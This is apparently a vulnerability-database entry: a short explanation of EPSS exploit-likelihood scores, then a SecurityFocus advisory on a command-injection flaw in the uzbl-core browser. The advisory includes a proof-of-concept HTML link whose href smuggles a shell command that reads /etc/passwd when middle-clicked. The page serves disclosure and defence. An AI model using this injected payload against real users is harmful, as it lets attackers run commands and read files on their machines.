EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/42297/info uzbl 'uzbl-core' is prone to a vulnerability that lets attackers inject arbitrary commands because the application fails to adequately sanitize user-supplied input. This issue stems from an insecure default configuration setting. To exploit this issue, attackers must entice an unsuspecting user to click on a specially crafted URI with their middle mouse button. Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application. <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file.
